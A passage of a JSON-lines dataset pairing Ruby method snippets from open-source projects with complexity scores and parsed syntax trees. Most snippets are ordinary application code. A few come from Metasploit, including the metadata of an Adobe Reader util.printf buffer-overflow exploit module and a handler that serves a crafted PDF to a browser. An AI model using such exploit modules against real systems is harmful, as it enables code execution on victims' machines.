children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]}]}","id":"0b27e043-a4dc-46d1-9540-25524b06b471"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/db/migrate/tables/labor_budget_items.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.bigint :budget_id, null: false\n      t.float :hours, null: false\n      t.bigint :user_id\n      t.string :comments, default: \"\", null: false\n      t.decimal :amount, precision: 15, scale: 4\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"budget_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}","id":"12bd47bf-9ec8-466b-9099-10f81323364d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_kdc_response.rb","start_line":264,"raw_source":"def decode_pa_data(input)\n            pre_auth = []\n            input.value[0].value.each do |pre_auth_data|\n              pre_auth << Rex::Proto::Kerberos::Model::PreAuthDataEntry.decode(pre_auth_data)\n            end\n\n            pre_auth\n          end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_pa_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pre_auth\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre_auth_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre_auth\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"PreAuthDataEntry\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"pre_auth_data\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"pre_auth\"]}]}]}","id":"53a14a62-125a-4dd9-b7f2-48bd8d73a1f7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":210,"raw_source":"def click_theme_settings_editor_button\n        click_button(I18n.t(\"admin_js.admin.customize.theme.settings_editor\"))\n        PageObjects::Components::AdminThemeSettingsEditor.new.opened?\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"click_theme_settings_editor_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin_js.admin.customize.theme.settings_editor\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"AdminThemeSettingsEditor\"]},\"new\"]},\"opened?\"]}]}]}","id":"a47a9e03-40f9-47ee-8c98-74fc035d9b52"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service/aggregation.rb","start_line":78,"raw_source":"def aggregate_all_vms_disk_space_used_arel\n      column_name     = \"aggregate_all_vm_disk_space_used\"\n      coalesce_values = [disks_tbl[:size_on_disk], disks_tbl[:size], Arel.sql(\"0\")]\n      aggregation_sql = Arel::Nodes::NamedFunction.new('SUM', [disks_tbl.coalesce(coalesce_values)])\n      aggregate_hardware_arel(column_name, aggregation_sql, :include_disks => true)\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"aggregate_all_vms_disk_space_used_arel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_name\",{\"type\":\"str\",\"children\":[\"aggregate_all_vm_disk_space_used\"]}]},{\"type\":\"lvasgn\",\"children\":[\"coalesce_values\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disks_tbl\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"size_on_disk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disks_tbl\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"0\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aggregation_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"str\",\"children\":[\"SUM\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disks_tbl\"]},\"coalesce\",{\"type\":\"lvar\",\"children\":[\"coalesce_values\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"aggregate_hardware_arel\",{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"aggregation_sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_disks\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"44145dbb-4459-4f05-93f9-2e9f1910e972"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/translation_service/libre_translate.rb","start_line":4,"raw_source":"def initialize(base_url, api_key)\n    super()\n\n    @base_url = base_url\n    @api_key  = api_key\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_url\"]},{\"type\":\"arg\",\"children\":[\"api_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@base_url\",{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_key\",{\"type\":\"lvar\",\"children\":[\"api_key\"]}]}]}]}","id":"39c09777-aea9-4b37-9eea-5a01c7ac0031"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1879,"raw_source":"def all_emails(include_private_email: true)\n    all_emails = []\n    all_emails << email unless temp_oauth_email?\n    all_emails << private_commit_email if include_private_email\n    all_emails.concat(emails.filter_map { |email| email.email if email.confirmed? })\n    all_emails.uniq\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_emails\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_private_email\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_emails\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_oauth_email?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_private_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"private_commit_email\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_emails\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"confirmed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"email\"]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_emails\"]},\"uniq\"]}]}]}","id":"fe408ab9-07c7-4aea-bc43-a25fde9281a6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_utilprintf.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe util.printf() Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional\n          < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()\n          entry, an attacker may be able to execute arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],\n        'References' => [\n          [ 'CVE', '2008-2992' ],\n          [ 'OSVDB', '49520' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],\n        ],\n        'DisclosureDate' => '2008-02-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe util.printf() Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional\\n\"]},{\"type\":\"str\",\"children\":[\"          < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()\\n\"]},{\"type\":\"str\",\"children\":[\"          entry, an attacker may be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]},{\"type\":\"str\",\"children\":[\"Didier Stevens <didier.stevens[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2992\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"49520\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe Reader v8.1.2 (Windows XP SP3 English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-02-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"b6378cec-b6ff-41ca-bf4e-cfc9bc01fa56"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/errors.rb","start_line":20,"raw_source":"def corrections\n        if record && association_name\n          @corrections ||= begin\n            maybe_these = record.class.reflections.keys\n            DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(association_name)\n          end\n        else\n          []\n        end\n      end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"corrections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},{\"type\":\"send\",\"children\":[null,\"association_name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@corrections\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"maybe_these\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"class\"]},\"reflections\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DidYouMean\"]},\"SpellChecker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dictionary\"]},{\"type\":\"lvar\",\"children\":[\"maybe_these\"]}]}]}]},\"correct\",{\"type\":\"send\",\"children\":[null,\"association_name\"]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"1cc16eb9-7308-4941-83c1-d7e41766b523"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cache_markdown_field.rb","start_line":148,"raw_source":"def store_mentions!\n    # We can only store mentions if the mentionable is a database object\n    return unless self.is_a?(ApplicationRecord)\n\n    identifier = user_mention_identifier\n\n    # this may happen due to notes polymorphism, so noteable_id may point to a record\n    # that no longer exists as we cannot have FK on noteable_id\n    return if identifier.blank?\n\n    refs = all_references(self.author)\n\n    references = {}\n    references[:mentioned_users_ids] = mentioned_filtered_user_ids_for(refs)\n    references[:mentioned_groups_ids] = refs.mentioned_group_ids.presence\n    references[:mentioned_projects_ids] = refs.mentioned_project_ids.presence\n\n    if references.compact.any?\n      user_mention_class.upsert(references.merge(identifier), unique_by: identifier.compact.keys)\n    else\n      user_mention_class.delete_by(identifier)\n    end\n\n    true\n  end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"store_mentions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[null,\"user_mention_identifier\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"refs\",{\"type\":\"send\",\"children\":[null,\"all_references\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"author\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"references\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mentioned_users_ids\"]},{\"type\":\"send\",\"children\":[null,\"mentioned_filtered_user_ids_for\",{\"type\":\"lvar\",\"children\":[\"refs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mentioned_groups_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"mentioned_group_ids\"]},\"presence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mentioned_projects_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"mentioned_project_ids\"]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"compact\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_mention_class\"]},\"upsert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"compact\"]},\"keys\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_mention_class\"]},\"delete_by\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"92ef94e6-0b39-432c-9976-ed48579296af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack.rb","start_line":140,"raw_source":"def self.throttle_definitions_unauthenticated_git_http\n      {\n        'throttle_unauthenticated_git_http' => ThrottleDefinition.new(\n          Gitlab::Throttle.throttle_unauthenticated_git_http_options,\n          ->(req) { req.ip if req.throttle_unauthenticated_git_http? }\n        )\n      }\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"throttle_definitions_unauthenticated_git_http\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"throttle_unauthenticated_git_http\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThrottleDefinition\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Throttle\"]},\"throttle_unauthenticated_git_http_options\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"throttle_unauthenticated_git_http?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"ip\"]},null]}]}]}]}]}]}","id":"d11e7b29-2425-490b-bbf1-ddffe480a970"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/push_git_tags.rb","start_line":4,"raw_source":"def self.run(params)\n        command = [\n          'git',\n          'push',\n          params[:remote]\n        ]\n\n        if params[:tag]\n          command << \"refs/tags/#{params[:tag].shellescape}\"\n        else\n          command << '--tags'\n        end\n\n        # optionally add the force component\n        command << '--force' if params[:force]\n\n        result = Actions.sh(command.join(' '))\n        UI.success('Tags pushed to remote')\n        result\n      end","complexity_score":16.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"push\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"refs/tags/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--tags\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--force\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Tags pushed to remote\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"7d3dd030-da0f-487e-86b5-7c5beded282f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/application_helper.rb","start_line":152,"raw_source":"def opengraph(property, content)\n    tag.meta(content: content, property: property)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"opengraph\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"meta\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]}]}","id":"0920153b-1915-49c8-9e8c-52ffc61dad83"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_toolbutton.rb","start_line":66,"raw_source":"def on_request_exploit(cli, request, target_info)\n    print_status(\"request: #{request.uri}\")\n    js_data = make_js(cli, target_info)\n    # Create the pdf\n    pdf = make_pdf(js_data)\n    print_status(\"Sending PDF...\")\n    send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_data\",{\"type\":\"send\",\"children\":[null,\"make_js\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"target_info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pdf\",{\"type\":\"send\",\"children\":[null,\"make_pdf\",{\"type\":\"lvar\",\"children\":[\"js_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending PDF...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"pdf\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/pdf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]}]}]}","id":"3fbf8d2b-6351-44b2-9405-b91ca7965a61"}
